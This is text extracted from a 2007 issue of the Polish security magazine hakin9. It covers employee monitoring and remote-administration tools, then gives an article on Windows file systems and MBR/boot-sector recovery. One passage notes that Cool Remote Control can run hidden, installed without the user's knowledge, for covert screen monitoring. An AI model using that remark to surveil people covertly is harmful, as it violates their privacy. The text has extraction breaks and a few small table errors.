dywał oraz jak długo. Każde otwar-
cie drzwi można zabezpieczyć kartą,
większość programów pozwala nam
wyeksportować dane do głównych
systemów kadrowych, przyspiesza-

jąc wyliczanie pensji na podstawie
przyjścia pracownika i opuszczenia
przez niego stanowiska pracy. Sys-
temy takie eksportują dane do popu-
larnych programów tabelarycznych
np: Microsoft Office Excel.

System taki nadzoruje prace

wszystkich czytników kart w fir-
mie, zazwyczaj montowanych przy
drzwiach z zamkami magnetycz-
nymi, tym samym blokując dostęp
do pomieszczenia osobom nie posia-
dającym karty. Rysunek 4. przedsta-
wia zestawienie zebranych danych
dla jednego pracownika określają-
ce godziny przyjścia do pracy, go-
dziny wyjścia, ilość czasu spędzone-
go w pracy.

Komputer

W problemie stanowiska użytkow-
nika wyróżniamy kilka aspektów:
dostęp, nadzór, raportowanie, ad-
ministracja. Zakładając stanowisko
pracy, musimy zaplanować politykę
bezpieczeństwa danego komputera,
pod kontem osoby obsługującej ten
sprzęt:

• Logowanie użytkownika – zwy-

kły użytkownik nie powinien
mieć praw administracyjnych w
systemie, gdyż mógłby dokonać
wówczas kontrolowanego wyłą-
czenia programu nadzorujące-
go jego pracę, a także zmianę
odpowiedniego hasła lub jedną
z wcześniej zastosowanych me-
tod. Możemy podłączyć czyt-
nik kart w taki sposób, aby do-
starczał energię do kompute-
ra tylko wtedy, gdy karta znaj-
duje się w czytniku. Wyciągnię-
cie karty powodowałoby natych-
miastowe wyłączenie kompute-
ra albo przejście w stan wstrzy-
mania, lub hibernacji, a następ-
nie odcięcie sieci elektrycznej od
stanowiska, zakładając że pra-
cownik wychodzi z pracy, musi
wyciągnąć kartę, aby wydostać
się przez drzwi. Takie uogólnie-
nie zabezpieczeń w przypadku
skopiowania karty daje niepo-
wołanej osobie dostęp do całego
systemu włącznie z komputerem
pracownika.

Rysunek 3.

System biometryczny

Rysunek 4.

Wykaz czasu pracy

Okiem wielkiego brata

hakin9 Nr 5/2007

www.hakin9.org

• Do kontroli użytkownika na okre-

ślonym stanowisku można wyko-
rzystać kamerę podłączoną do
komputera, która przesyła realny
obraz do programu nadzorujące-
go pracę i tym samym sprawdza,
czy osoba siedząca przy biurku
jest właściwym użytkownikiem.

• Analogicznie z poprzednim punk-

tem możemy wykorzystać ten
sam program do nadzorowania
pracy na klawiaturze, szybkości
pisania, ilości zdań, czy popeł-
nianych błędów. Szybko wyłapie-
my użytkownika, który nie powi-
nien siedzieć przy danym stano-
wisku. System ten ma jednak wa-
dę, gdyż zmęczenie, ubiór, fryzu-
ra mają wpływ na prawidłowy od-
czyt danych z systemu.

Nadzór

Należy się zastanowić, jakie aspek-
ty bezpieczeństwa przyjmiemy – czy
jest to pełny nadzór czy tylko niektó-

rych aplikacji czy procesów. Wybie-
rzemy nadzór pełny, by przedstawić
wszystkie możliwości tego zagad-
nienia:

• Internet, czyli przeglądane stro-

ny WWW. Aby poznać ich histo-
rię, wystarczą w tym przypadku
linki otwieranych stron, gdyż ar-
chiwum pełne wszystkich kom-
puterów może szybko zapełnić
nasze zasoby dyskowe, np: we-
block (składnik modułu weblook,
umożliwiający nie tylko śledze-
nie odwiedzanych stron interne-
towych, ale także pozwalający na
blokowanie określonych zasobów
dla wszystkich, bądź wybranych
użytkowników.

• Komunikatory. Jeśli zdecydujemy

się zablokować ich obsługę, bę-
dzie to najkrótsza droga, ale po-
zostają takie strony jak czat, czy
web gg. Jednak my także zna-
my ich adresy i przez zastosowa-

nie małej modyfikacji w pliku C:\
WINDOWS.0\system32\drivers\
etc\host możemy skutecznie za-
blokować adres komunikato-
rów przez wpisanie jego IP z od-
wołaniem do adresu 127.0.0.1.
Jeśli mamy dużą ilość kompu-
terów, możemy ustawić serwer
proxy w firmie i tam zablokować
zakazane adresy dla wszystkich
komputerów.

• Procesy zestawienia informacji o

tym, jak długo komputer był włą-
czony, z dokładną informacją o
wszystkich przerwach oraz o cza-
sie spędzonym w poszczególnych
programach, w połączeniu z wie-
dzą o odwiedzanych stronach in-
ternetowych – co daje w sumie
obraz rzeczywistego czasu pracy.
Jak to kontrolować? Wykorzystu-
jemy oprogramowanie zarządza-
nia czasu pracy stanowisk. W In-
ternecie bardzo dużo firm zajmuje
się pisaniem programów tego typu
i wystarczy wpisać w google.pl od-
powiednie zapytanie.

Raportowanie, czyli to, co nas inte-
resuje, ogólne założenia programów
prezentujących czas pracy to:

• statystyki aktywności pracownika,
• pełna historia logowań użytkow-

nika,

• pełna historia uruchamianych

aplikacji wraz ze stopniem ich
wykorzystania,

• historia aktywnych – pierwszo-

planowych aplikacji,

• statystyki stopnia wykorzystania

komputera przez użytkownika,

• statystyki aktywności komputera

w czasie,

• statystyki aktywności dowolnej

aplikacji w czasie,

• statystyki najczęściej wykorzy-

stywanych aplikacji,

• statystyki wykorzystania kompu-

tera przez poszczególnych jego
użytkowników.

Każdy raport i statystyka powinna
być dostępna dla dowolnego prze-
działu czasu. Możemy sprawdzić,
ile czasu pracownik rzeczywiście
przepracował w konkretnym dniu,

Rysunek 5.

Ustawienie wyświetlania ekranu

hakin9 Nr 5/2007

www.hakin9.org

Obrona

tygodniu, miesiącu, a ile czasu
spędził na przerwach czy prowa-
dzeniu rozmów przez komunikatory
internetowe.

Zdalna administracja

Systemy komputerowe wymagają
ciągłego nadzorowania, usuwania
usterek, wdrażania aktualizacji in-
stalacji dodatków, sprzątania w pli-
kach tymczasowych. Niektóre za-
dania można zautomatyzować, nie
warto jednak wprowadzać całkowitej
automatyzacji, ponieważ nierzadko
słyszeliśmy o wirusach podszywają-
cych się pod poprawki Windows lub
wyłączających procesy skanera an-
tywirusowego po zarażeniu. Warto
co jakiś czas zaglądać do systemu,
by dowiedzieć się co w trawie pisz-

czy. Kłopoty zaczynają się wtedy,
gdy nasza firma ma odziały odległe
od siebie o wiele kilometrów i cza-
sem trzeba być w dwóch miejscach
jednocześnie albo poruszać się z

prędkością odrzutowca. Z pomocą
przychodzą wówczas programy do
zdalnej kontroli komputera, takie jak
Zdalny pulpit w Windows, VNC, tak
zwane programy zdalnego dostępu.

Można podzielić te programy na

dwie grupy, oferujące dostęp legal-
ny i dostęp nielegalny. Podstawo-
wa różnica między jednym typem,
a drugim ogranicza się do pytania,
czy użytkownik danego komputera
wie o tym, że jest szpiegowany. Je-
śli montując taki program informu-
jemy użytkownika, o tym że każdy
jego ruch jest śledzony, a w przypad-
ku zdalnego logowania, użytkownik
jest o tym dodatkowo informowany,
oznacza to, że program do zdalnego
dostępu jest legalny.

Narzędzie

systemu Windows

Obecnie, gdy firmy mają liczne
odziały, gdy my sami opiekujemy
się większą ilością komputerów, ad-

ministracja bezpośrednia staje się
coraz trudniejsza, a awarie zajmują
coraz więcej czasu. Zaczynamy się
więc zastanawiać nad zdalną admi-
nistracją, przyspieszeniem czasu,
jaki musimy poświęcić komputerom.
Rozwiązanie tego problemu znajdu-
je się w samym systemie, gdyż wer-
sje serwerowe, a teraz już wersje
XP Windowsa umożliwiają zdalną
administracje.

Windows udostępnia nam narzę-

dzie mstsc.exe, które pozwala na za-
logowanie się na zdalny komputer.
Zaraz po jego uruchomieniu jeste-
śmy proszeni o podanie nazwy kom-
putera, dodatkowo możemy ustawić
właściwości wyświetlania obrazu
– zwiększając obciążenia połącze-
nia, ustawić by podstawowe dźwię-
ki były przenoszone na ten kompu-
ter włącznie z kombinacją klawiszy;
podłączyć dyski twarde swojego
komputera i wykonywać na nich ope-
racje kopiowania, w zależności od
ustawionych zabezpieczeń. Możemy
także ustawić autouruchomienie pro-
gramu tuż po naszym zalogowaniu,
a także dostosować tak zwane wra-
żenia (opcje widoku) które także ma-
ją wpływ na szybkość wyświetlania.

Remote Administrator

Radmin przydać się może szcze-
gólnie tym użytkownikom, dla któ-
rych potrzeba przeprowadzenia ja-
kiejś zdalnej operacji wynika bar-
dziej z aktualnej potrzeby chwili,
niż ze stałych i regularnie przepro-
wadzanych doświadczeń. W odróż-
nieniu bowiem od wielu innych po-
dobnych programów, plik instalacyj-
ny Zdalnego Administratora jest bar-
dzo mały i można go szybko ścią-
gnąć ze strony producenta, jego in-
stalacja nie stwarza żadnych pro-
blemów, a obsługa jest niebywa-
le prosta – szczególnie, że aplika-
cję można spolonizować dogrywa-
jąc do jej katalogu odrębny plik języ-
kowy (znajdziemy go na stronie pro-
ducenta). Cały program jest jedno-
modułowy, co oznacza, że raz za-
instalowany może nam służyć za-
równo jako host (tutaj serwer), jak
i jako klient (tutaj viewer). Licz-
ba opcji serwera nie jest specjal-

Rysunek 6.

Konfiguracja zdalnego podglądu

Okiem wielkiego brata

hakin9 Nr 5/2007

www.hakin9.org

nie duża i ogranicza się w zasa-
dzie do zdefiniowania paru podsta-
wowych parametrów dostępu. Za to

Remote Administrator Viewer to
główny panel sterowania zdalnym
pulpitem. Za pośrednictwem ikon
wybieramy najpierw jedną z pię-
ciu możliwych do wykonania opera-
cji – pełna kontrola; tylko podgląd;
telnet; transfer plików; zamknięcie
systemu. Następnie wpisujemy ad-

res IP odległej maszyny i na ko-
niec wykonujemy wcześniej zapla-
nowaną operację. Zdalny pulpit od-
ległego komputera możemy powięk-
szyć na cały ekran, upchnąć w ram-
kę własnego pulpitu albo też zmini-
malizować do rozmiaru skalowal-
nego okna. Kombinacją klawiszy
Ctrl+F12 możemy wywołać dodat-
kowe opcje, które pozwolą nam
określić paletę kolorów (65536,

256 lub 16) oraz wybrać maksymal-
ną ilość odświeżeń zdalnego pulpi-
tu na sekundę. Ustawienia te należy
oczywiście dobrać adekwatnie do
szybkości posiadanego połączenia
– im są wolniejsze, tym niższe bę-
dą wartości. Na koniec warto jesz-
cze dodać, że program ma bardzo
dobry algorytm kompresji przesyła-
nych danych, a wszystkie transmito-
wane za jego pośrednictwem infor-
macje są szyfrowane przy użyciu
silnego, 128-bitowego klucza.

Cool Remote Control

Na koniec kilka słów o programie,
który choć przez samego produ-
centa traktowany jest nieco po ma-

coszemu (zaledwie kilka zdań na
internetowej witrynie), to jednak
wart jest na odrobinę szerszy opis.

Cool Remote Control to, jak zazna-
cza sam producent, program prze-
znaczony raczej na potrzeby domo-
wych zastosowań. Oprócz prozaicz-
nie prostej obsługi (polegającej, jak
to zwykle bywa, na uruchomieniu
na każdym komputerze odpowied-
niego procesu – Remote Control

Server na hoście i COOL Remo-

te Control na kliencie), program
wyróżnia się nieco uproszczonym
podejściem do kwestii współdzie-
lenia zasobów i dość nietypowym

Rysunek 7.

Zadalne uruchamianie programów

hakin9 Nr 5/2007

www.hakin9.org

Obrona

mechanizmem ukrywania obecno-
ści servera po stronie hosta. Wyja-
śniając bliżej – że klient z poziomu
okna swego programu może do-
wolnie przetrząsać dyski i napę-
dy odległego hosta, kopiować bądź
usuwać wybrane pliki, wpływać na
działanie systemu operacyjnego
hosta (zamykać, resetować, usy-
piać lub wylogowywać), otwierać
bądź zamykać szuflady napędów
CD-ROM, a także, co niespoty-
kane, ukrywać ikonę działającego
serwera na komputerze hoście. To
ostatnie, przy uprzednim zainstalo-
waniu aplikacji na hoście bez wie-
dzy jego użytkownika, może posłu-
żyć np. do późniejszego monitoro-
wania jego poczynań w sposób nie-
mal bezpośredni – czyli ekran w
ekran (przy odpowiedniej konfigu-
racji serwer będzie się uruchamiał
automatycznie wraz z systemem i
od razu przechodził w ukryty tryb
działania z którego może go wyłą-
czyć dopiero zdalny klient).

Kwestie prawne

i moralne

Czyli kiedy wolno podsłuchiwać. Wy-
chodzi na to, że nigdy, a podsłuch jest
ścigany z kodeksu karnego (podsłuch
art. 267 § k.k.), bo komputer, nawet
jeśli należy do firmy, nie może być
podsłuchiwany przez administratora.
Jest to naruszanie prywatności pra-
cownika, a każda osoba ma prawo do
takiej prywatności. Są jednak przy-
padki, kiedy podsłuchanie jest nie-
zbędne; używając na przykład sni-
fera analizujemy sieć pod względem
występujących anomalii, wtedy tra-
fiają do nas dane, których nie wolno
nam w żadnym wypadku użyć. Jeśli
używamy programu do zdalnej kon-
troli i wchodzimy do sytemu w spo-
sób nieautoryzowany (Cracking art.
267 § 1 k.k.), wtedy powinniśmy in-
formować o tym operatora kompute-
ra lub postępować w ten sposób je-
dynie wówczas, kiedy on sam nas po-
prosi o takie zalogowanie i usunięcie,
np. gdy wykryto awarię. Dostanie się

do komputerów bez zgody użytkow-
nika i pozyskiwanie stamtąd infor-
macji jest nielegalne i można zostać
za coś takiego zwolnionym z pracy, a
wykonanie dowolnych operacji na pli-
kach także jest zabronione (narusze-
nie integralności komputerowego za-
pisu informacji art. 268 k.k.). Nawet
samo przygotowanie do logowania,
czyli instalacja takiego programu jest
formą przygotowawczą do łamania
zabezpieczeń, dlatego ważna jest
edukacja poszczególnych działów,
pod kontem funkcjonalności takiego
oprogramowania, dobrze jest w usta-
wieniach, zabezpieczyć możliwość
logowania tylko z jednego stanowiska
pracy oraz wprowadzić hasło i nazwę
użytkownika. Należy także zabezpie-
czyć się przed nieautoryzowaną in-
stalacją takiego oprogramowania w
naszej sieci, (czyli sabotaż kompute-
rowy art. 269 § 1 i § 2 k.k.). Ale to już
temat na kolejny artykuł.

Podsumowanie

Prędzej czy później zdenerwujesz
się, gdy pracownicy ciągle wołać
cię będą do przypadkowo odinsta-
lowanej drukarki lub jeśli będą wy-
magali od ciebie pracy administra-
cyjnej na większej liczbie kompute-
rów. Dojdziesz wtedy do wniosku,
że warto zainstalować jeden z pro-
gramów, może nawet skorzystasz z
windowsowego narzędzia. Często,
gdy jesteśmy poza firmą, możemy
wykonać zadane prace administra-
cyjne. Bardziej polecamy takie roz-
wiązania niż chodzenie po firmie, i
podróżowanie po miastach między
oddziałami tylko po to, żeby przeko-
nać się, że ktoś przypadkowo odin-
stalował drukarkę. l

O autorze

Autor jest informatykiem w średniej
wielkości firmie, pisze programy, chęt-
nie czyta artykuły publikowane na stro-
nie http://www.hakin9.org i na łamach
czołowych magazynów podejmujących
kwestie bezpieczeństwa informacji w
Sieci. Jest to zresztą bardzo aktualny i
gorąco dyskutowany ostatnio temat.
Kontakt z autorem: rafalpa@interia.pl

Rysunek 7.

Zasoby lokalne – komunikacji

www.hakin9.org

hakin9 Nr 5/2007

Obrona

rtykuł ma na celu przedstawienie bu-
dowy systemów plików dla systemu
Windows oraz przykładowe proble-

my wynikające z uszkodzenia najważniej-
szych sektorów dysków (Master Boot Record,

Boot Sector). Jednocześnie postaramy się
odzyskać uszkodzone dane. Aby rozpocząć
prace nad analizą plików na naszych kompu-
terach, należy przyjrzeć się budowie i działa-
niu poszczególnych systemów plików.

Systemy plików w Windows

System Windows charakteryzuje się trze-
ma podstawowymi systemami plików: FAT16,
FAT32 oraz NTFS. Zobaczmy, jak przedstawia-
ją się te podstawowe systemy plików w szcze-
gółach:

System plików FAT16

File Allocation Table, czyli tablica rozmiesz-
czenia plików powstała na początku 1980 roku
i była wspierana przez system operacyjny
MS DOS. Początkowo została stworzona ja-
ko prosty system plików dla dyskietek, których
wielkość nie przekraczała 500KB. Wraz z upły-
wem czasu oraz pojemności ów system był
konsekwentnie rozszerzany.

Pojemność formatowana przy użyciu syste-

mu FAT16 jest alokowana w klastry. Podstawo-
wy rozmiar klastra jest zdeterminowany przez
wielkość wolumenu i może przyjąć największą
wartość 64kb. Rozmiar klastra musi być potęgą
cyfry 2 i mieć wartość w przedziale od 512 do
65536 bajtów. Tabela 1. przedstawia standar-
dowe rozmiary klastra wolumenów FAT16.

Odzyskiwanie danych

z systemu Windows

Artur Żarski

stopień trudności

Bardzo często się zdarza, że wskutek działania wirusa zostają

uszkodzone różne pliki na naszych dyskach. Nie stanowi to

większego problemu, kiedy są to mało ważne pliki, które możemy

stracić, ale może to też spotkać pliki, które są dla nas bardzo

ważne, np. gdy są to pliki systemowe lub pliki konfiguracyjne.

Z artykułu dowiesz się

• artykuł ma na celu zapoznanie czytelnika z

aspektami systemów plików w Windows oraz
kluczowych aspektów ich bezpieczeństwa w
kontekście utraty danych,

• dodatkowo tekst opisuje podstawowe struktu-

ry danych na dysku w różnych formatach oraz
jak je archiwizować i odzyskiwać w przypadku
uszkodzenia.

Co powinieneś wiedzieć

• podstawowa znajomość budowy systemów pli-

ków oraz pojęć z tym związanych – np. Boot
Sector, MBR, FAT, NTFS,

• wiedza z zakresu narzędzi do odzyskiwania

i archiwizacji danych.

Odzyskiwanie danych z systemu Windows

hakin9 Nr 5/2007

www.hakin9.org

Struktura FAT16

Jak widać na rysunku, mamy dwa
podstawowe czułe miejsca. Są to

Boot Sector oraz FAT16. Dla bezpie-
czeństwa oryginalna tablica FAT16
ma swoją kopię. Tabela 2. przedsta-
wia opis elementów wchodzących w
skład struktury FAT16.

Boot Sector w FAT16

Poniższa Tabela zawiera opis sek-
cji wchodzących w skład boot secto-
ra wolumenu danych sformatowane-
go przy użyciu FAT16.

System plików FAT32

FAT32 został wprowadzony wraz z
systemem Windows 2000 (jest wy-
korzystywany również w systemie
Windows XP). FAT16 wspiera wolu-
meny danych sięgające 4GB, gdzie
FAT32 teoretycznie może wspierać
do 2TB. Rozmiar klastra FAT32 mie-
ści się w przedziale od jednego (512
bajtów) do 64 sektorów (32 KB).

Struktura FAT32

Podstawowa różnica pomiędzy FAT16,
a FAT32 to rozmiar partycji logicznej.
FAT32 przełamuje barierę 2GB dla
dysku logicznego poprzez rozszerze-
nie pojedynczego dysku logicznego
do 127GB. W przypadku posiadania
dysku 2GB na FAT16 należałoby użyć
32KB klastra. Wraz z FAT32 zakres
zmienia się od klastra 4KB. Najwięk-
szy możliwy plik dla FAT32 może mieć
wielkość 4GB minus 2 bajty.

NTFS

System plików Windows NT (NTFS)
stanowi kombinację wydajności, nie-
zawodności oraz kompatybilności,

jakiej nie mogły zagwarantować w
takim stopniu systemy FAT. Został
zaprojektowany do szybkiego wyko-
nywania standardowych operacji, ta-
kich jak odczyt, zapis i wyszukiwanie.
Umożliwia też wykonywanie zaawan-
sowanych operacji, takich jak odtwa-
rzanie systemu plików na bardzo du-
żych dyskach twardych. Formatowa-
nie wolumenu przy użyciu systemu
plików NTFS tworzy w rezultacie kil-
ka systemów plików oraz Master File

Table (MFT), która zawiera informa-
cję o wszystkich plikach i folderach.

Pierwsza informacja w systemie

plików NTFS to Partition Boot Sec-

tor, który rozpoczyna się w sektorze
0, a jego długość może mieć 16 sek-
torów. Pierwszym plikiem w NTFS
jest wspomniana już tablica Master

File Table (MFT).

System plików NTFS zawiera do-

datkowe funkcje, związane z bezpie-
czeństwem, wymagane przy serwe-
rach plików oraz zastosowaniach w
różnych firmach. NTFS wspiera rów-
nież kontrolę dostępu do danych, a
także uprawnienia dostępu, które są
bardzo ważne przy integralności klu-
czowych danych. System NTFS po-
siada prostą, a jednocześnie potęż-
ną budowę. W zasadzie wszystko
jest plikiem, a wszystko w pliku atry-
butem, od atrybutów danych przez
atrybuty bezpieczeństwa, po nazwę
pliku. Częścią pliku są również me-
tadane.

Struktura NTFS

Pierwsza informacja zapisana w
NTFS to boot sector. Boot Sector
rozpoczyna się w sektorze o nume-
rze 0, a jego długość może wynosić

maksymalnie 16 sektorów. Zawiera
on dwie struktury:

• blok parametru BIOS, który za-

wiera informacje o strukturze wo-
lumenu oraz strukturze systemu
plików,

• kod, który opisuje jak znaleźć i

załadować pliki startowe dla sys-
temu operacyjnego. W przypad-
ku Windows 2000 lub Windows
XP kod ten ładuje plik Ntldr.

Master File Table

oraz metadane

Podczas formatowania dysku przy
użyciu NTFS tworzony jest plik MFT
(Master File Table) oraz metadane
(czyli dane opisujące dane). Metada-
ne są plikami NTFS, używanymi do
implementacji struktury systemu pli-
ków. NTFS rezerwuje sobie pierw-
sze 16 rekordów MFT dla plików z
metadanymi.

Naprawa uszkodzonych

danych na dyskach

Zdarzyć się może, że MBR, czyli

Master Boot Record, (główny rekord
startowy) – jeden z najważniejszych
elementów dysku zostaje uszkodzo-
ny. Przyczyną tego może być błąd
użytkownika, problemy ze sprzętem,
wirusy oraz inne czynniki.

Przywracanie MBR

przy użyciu Disk Editora

Uszkodzenie MBR spowoduje brak
dostępu do dysku. Jeśli wykonaliśmy
kopię zapasową naszego MBR przy
użyciu narzędzia DiskProbe to moż-
liwe jest odtworzenie MBR na dys-
ku, który nie jest startowym. Odtwo-

Tabela 1.

Wielkości klastrów FAT16

Wielkość wolumenu

Sektorów / Klaster

Wielkość klastra

0 MB–32 MB

512 bajty

33 MB–64 MB

1 KB

65 MB–128 MB

2 KB

129 MB–255 MB

4 KB

256 MB–511 MB

8 KB

512 MB–1,023 MB

16 KB

1,024 MB–2,047 MB

32 KB

2,048 MB–4,095 MB

128

64 KB

hakin9 Nr 5/2007

www.hakin9.org

Obrona

rzenie kopii MBR nadpisuje zupełnie
sektor, włączając w to tablicę par-
tycji. DiskProbe działa wyłącznie z
systemami Windows 2000, Windows
XP oraz Windows NT; nie działa z
systemami Windows 98 oraz Win-
dows 95.

Odtworzenie MBR

przy użyciu Recovery Console

Do odtworzenia MBR możemy rów-
nież użyć Recovery Console. Aby
skorzystać z tego narzędzia, nale-
ży uruchomić komputer z płytki star-

towej Windows. Na początku proce-
su instalacji mamy możliwość wybo-
ru opcji naprawy (komunikat Naciśnij
„R” aby uruchomić naprawę”). Po
uruchomieniu Recovery Console do-
staniemy listę wszystkich prawidło-
wych instalacji Windows na kompu-
terze. Wybieramy numer instalacji (w
przypadku gdy mamy więcej niż jed-
ną instalację) i naciskamy ENTER.
Użycie Recovery Console wymaga
znajomości lokalnego administrato-
ra. Aby zastąpić uszkodzony MBR
należy wydać polecenie fixmbr.

Odtwarzanie Boot Sector’a

Boot Sector można odtworzyć na
wiele sposobów. Jeśli została wy-
konana kopia bezpieczeństwa przy
pomocy narzędzia DiskProbe, to naj-
szybszym sposobem będzie odtwo-
rzenie właśnie z użyciem DiskProbe.
Dla wolumenów NTFS istnieje alter-
natywa. Po utworzeniu lub reforma-
towaniu dysku NTFS tworzy duplikat

Boot Sectora. Dzięki skorzystaniu z
narzędzia DiskProbe możliwe jest
zlokalizowanie tego sektora i skopio-
wanie go na początek wolumenu.

Program DiskProbe dostępny

jest wraz z pakietem Windows XP

Service Pack 2 Support Tools, któ-
ry dostępny jest na stronie: http://

www.microsoft.com/downloads/deta-

ils.aspx?familyid=49AE8576-9BB9-

4126 -9761-BA8011FABF38&di-

splaylang=en. Na Rysunku 3. Przed-
stawiony jest ekran programu Disk-

Probe, dzięki któremu możliwe jest
wykonanie kopi oraz odtworzenie

Boot Sectora.

Odtworzenie Boot Sectora

Jeśli Boot Sector nie jest w stanie
odnaleźć Ntldr, Windows 2000 nie
może wystartować. Może to być spo-
wodowane przesunięciem, zmianą
nazwy, skasowaniem lub uszkodze-
niem Ntldr lub uszkodzeniem Boot

Sectora. W każdym z tych przypad-
ków podczas startu komputera mo-
żemy dostać następujące komuni-
katy:

A disk read error occurred
NTLDR is missing
NTLDR is compressed

Jeśli Ntldr jest uszkodzony lub go
brakuje, należy wtedy uruchomić

Emergency Repair Process. Aby go
uruchomić należy użyć płyty z in-
stalatorem systemu Windows. Po
umieszczeniu jej w napędzie i uru-
chomieniu systemu przy jej użyciu,
należy na ekranie rozpoczynającym
proces instalacji wcisnąć literę „R”
(od słowa Repair). Następnie wybie-
ramy sposób naprawy – automatycz-
ny lub ręczny i w dalszych krokach
postępujemy zgodnie z informacjami
na ekranie.

Rysunek 2.

Przedstawia wygląd wolumenu opartego o NTFS po

zakończonym formatowaniu

Partition Boot

Sector

Master File Table

Pliki

systemowe

Przestrzeń plików

Rysunek 3.

DiskProbe

Rysunek 1.

Przedstawia jak wygląda struktura systemu FAT16

Boot

Sector

Sektory

zarezerwowane

FAT1

FAT2

(duplikat)

Folder

główny

Pozostałe pliki i foldery

Odzyskiwanie danych z systemu Windows

hakin9 Nr 5/2007

www.hakin9.org

Odtworzenie Boot Sectora

przy pomocy Recovery

Console

W celu dokonania naprawy uszko-
dzonego Boot Sectora można wy-
korzystać Recovery Console. Po-
dobnie jak w przypadku odtwarzania
MBR, także tutaj należy uruchomić
proces instalacji i wybrać opcję na-
prawy. Po ukazaniu się linii poleceń
należy wydać komendę Fixboot.

Odtworzenie Boot Sectora

NTFS na partycji NTFS

Kiedy system Windows NT z syste-
mem plików NTFS posiada uszko-
dzony Boot Sector, może wyświetlić
się następujący komunikat o błędzie:

Windows NT could not start because

the following file is missing or corrupt

<%SYSTEMROOT%>\SYSTEM32\

NTOSKRNL.EXE. Kiedy uruchomi-
my proces naprawy, możemy z ko-

lei ujrzeć następujący komunikat
przed rozpoczęciem procesu: Setup

has determined that your file system

is corrupt

Znana z MS-DOS komenda fdisk

z parametrem /MBR nie rozwiązu-
je tego problemu. Na szczęście sys-
tem Windows NT posiada kopię Bo-

ot Sectora NTFS. Przy pomocy od-
powiedniego programu, np. Disk Edit
z pakietu Norton Utilities, możemy

Tabela 2.

Struktura komponentów w FAT16

Komponent

Opis

Boot Sector

Zawiera blok informacji o wyglądzie wolumenu danych oraz o strukturze systemu pli-
ków. Dodatkowo zawiera informacje, które ładują system Windows Server 2003.

Sektory zarezerwowane

Pewna ilość sektorów, które mają pierwszeństwo podczas ładowania pierwszego
FAT, wliczając Boot Sector.

FAT 1

Oryginalny FAT.

FAT 2 (Duplikat)

Kopia FAT.

Folder główny

Zawiera opis plików i katalogów w katalogu głównym

Pozostałe pliki i foldery

Zawierają dane dla plików oraz folderów wewnątrz systemu plików.

Tabela 3.

Sekcje Boot Sectora w FAT16

Offset

Długość pola

Nazwa pola

0x00

3 bajty

Instrukcje skoku

0x03

8 bajtów

OEM ID

0x0B

25 bajtów

BPB

0x24

26 bajtów

Rozszerzony BPB

0x3E

448 bajtów

Bootstrap code

0x01FE

2 bajty

Znacznik końca sektora

hakin9 Nr 5/2007

www.hakin9.org

Obrona

odnaleźć kopię oryginalnego Boot

Sectora i skopiować go na początek,
zastępując nim sektor uszkodzony.

Kasowanie lub naprawianie

uszkodzonego pliku NTFS

Jeśli jakiś plik jest uszkodzony na
partycji NTFS, nie będziemy mogli
z nim nic zrobić – ani go usunąć
ani użyć. Przy próbie skasowania
dostaniemy następujący komunikat
o błędzie:Cannot delete file name:

The file or directory is corrupt and

unreadable.

Problem ten może się pojawić

w przypadku uszkodzenia Master

File Table (MFT). Długa i krótka na-
zwa, która jest przechowywana w in-
deksie oraz nazwy plików przecho-
wywane w File Record Segment
(FRS) zawierają litery, które są czu-
łe na wielkość znaków i które nie pa-
sują do siebie. Przykładowo, indeks

może zwierać nazwę ZLYPlik.TXT,
ale FRS zawiera ZLYPLIK.TXT.
Dla NTFS plik taki jest uszkodzony.
Aby naprawić problem, należy wy-
konać kopię wolumenu zawierają-
cą uszkodzony plik, a następnie wy-
rzucić uszkodzony plik z wykonywa-
nej kopii bezpieczeństwa. Kolejnym
krokiem jest ponowne formatowanie
wolumenu, a potem odtworzenie ko-
pii zapasowej.

Czy tylko Windows?

Można się zastanawiać, czy tylko
w systemie Windows można wyko-
nać kopię bezpieczeństwa najważ-
niejszych informacji o dysku. Odpo-
wiedź jest oczywista i brzmi „Nie”.
W przypadku Linuxa możemy zasto-
sować narzędzie, które nazywa się
DD i służy do blokowego kopiowa-
nia i konwersji plików. Aby skopiować
MBR (Master Boot Record) w tym

systemie należy wydać polecenie:

dd if=/dev/hda of=mbr bs=512 count=1

Narzędzia

Na rynku dostępnych jest wiele narzę-
dzi, dzięki którym możemy odzyski-
wać dane z naszych dysków. Wśród
takich programów możemy wymienić
TestDisk, który dostępny jest na licen-
cji GNU (http://www.cgsecurity.org/

wiki/TestDisk). Oprócz tego war-
to wykorzystać np. The Sleuth Kit

http://www.sleuthkit.org/sleuthkit/

index.php, który wspiera większość
systemów plików. Narzędzi jest oczy-
wiście zdecydowanie więcej. Więk-
szość z nich jest tworzona przez ko-
mercyjne firmy i są płatne, ale po-
święcając chwilę czasu na poszu-
kiwania, możemy znaleźć darmowe
oprogramowanie, które zostało tu wy-
mienione. l

Tabela 4.

Metadane przechowywane w Master File Table

Plik systemowy

Nazwa

pliku

Rekord

MFT

Zastosowanie pliku

Master file table

$Mft

Zawiera jeden podstawowy plik rekordów dla każdego pliku
I katalogu w NTFS.

Master file table 2

$MftMirr

Kopia obrazu pierwszego MFT. Ten plik gwarantuje dostęp do
MTF w przypadku jego uszkodzenia.

Log file

$LogFile

Zawiera listę kroków transakcji użytych do odtworzenia NTFS.
Wielkość logu zależy od rozmiaru wolumenu.

Volume

$Volume

Zawiera listę kroków transakcji użytych do odtworzenia NTFS.
Wielkość logu zależy od rozmiaru wolumenu.

Attribute definitions

$AttrDef

Tabela z nazwami atrybutów, numerami oraz opisami.

Root file name index

Katalog główny.

Cluster bitmap

$Bitmap

Reprezentacja wolumenu pokazująca, które klastry są w użyciu.

Boot sector

$Boot

Zawiera sekwencję startową dla wolumenu, jeśli jest on wolume-
nem startowym.

Bad cluster file

$BadClus

Zawiera listę uszkodzonych klastrów.

Security file

$Secure

Zawiera unikalne deskryptory dla zapewnienia bezpieczeństwa
wszystkich plików.

Upcase table

$Upcase

Konwersja małych liter do porównania z dużymi literami zapisany-
mi w Unicode.

NTFS extension file

$Extend

Używane dla opcjonalnych rozszerzeń jak quotas lub identyfikato-
ry obiektów.

12–15 Zarezerwowane dla przyszłego użycia.

Portal internetowy na którym można znaleźć

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona zawiera ogłoszenia pracy na stanowi-

ska związane z branżą IT.

http://pracait.com

Portal poświęcony aktualnościom, artykułom

ze świata informatycznego. Zawiera ciekawe

linki, gry on-line i wiele innych interesujących

wiadomości.

http://hackme.pl

Serwis internetowy firmy QuarkBit Software,

która zajmuje się tworzeniem oprogramowania

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

